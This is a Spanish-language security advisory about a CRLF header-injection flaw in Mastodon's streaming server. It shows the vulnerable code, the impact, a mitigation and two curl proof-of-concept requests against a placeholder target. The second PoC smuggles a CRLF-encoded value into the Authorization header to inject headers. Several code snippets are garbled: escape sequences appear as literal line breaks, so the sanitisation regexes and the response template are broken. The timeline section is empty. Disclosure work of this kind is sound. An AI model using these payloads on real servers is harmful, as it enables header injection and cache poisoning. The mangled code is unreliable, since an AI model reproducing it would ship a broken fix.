CVE-2026-XXXXX: Inyección de cabeceras de respuesta HTTP (CRLF) en el servidor de streaming de Mastodon

Descripción general de la vulnerabilidad

Descripción de la vulnerabilidad

Cuando una solicitud de actualización WebSocket falla la autenticación, el servidor de streaming de Mastodon en streaming/index.js líneas 188-206 construye una respuesta HTTP manual y escribe errorMessage directamente en la cabecera de respuesta X-Error-Message a través de socket.end() SIN sanear los caracteres CR o LF.

Esto permite a un atacante remoto no autenticado inyectar cabeceras HTTP arbitrarias o realizar una división de respuestas HTTP (HTTP Response Splitting).

Código vulnerable (streaming/index.js líneas 188-206)

const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
  'Connection': 'close',
  'Content-Type': 'text/plain',
  'Content-Length': 0,
  'X-Request-Id': request.id,
  'X-Error-Message': errorMessage   // NO CRLF sanitization
};
socket.end(
  `HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
  `${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}

`
);

Impacto

• Inyección de cabeceras HTTP: inyectar cabeceras HTTP arbitrarias
• División de respuestas HTTP: inyectar un segundo cuerpo de respuesta HTTP (envenenamiento de caché)
• Divulgación de información: mensajes de error internos expuestos a usuarios no autenticados

Prueba de concepto

PoC 1 - Detección básica

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://TARGET:4000/api/v1/streaming/user

Esperado: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token

PoC 2 - Inyección CRLF

curl -i -X GET \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Authorization: Bearer test%0d%0aX-Injected: evil" \
  http://TARGET:4000/api/v1/streaming/user

Mitigación

Sanear errorMessage antes de escribirlo en la cabecera del socket:

const sanitizedMessage = String(errorMessage || '')
  .replace(/
/g, '%0D')
  .replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection

Cronología

Referencias

• https://github.com/mastodon/mastodon
• https://cwe.mitre.org/data/definitions/74.html

Aviso legal: Este PoC es solo con fines educativos y de investigación en seguridad.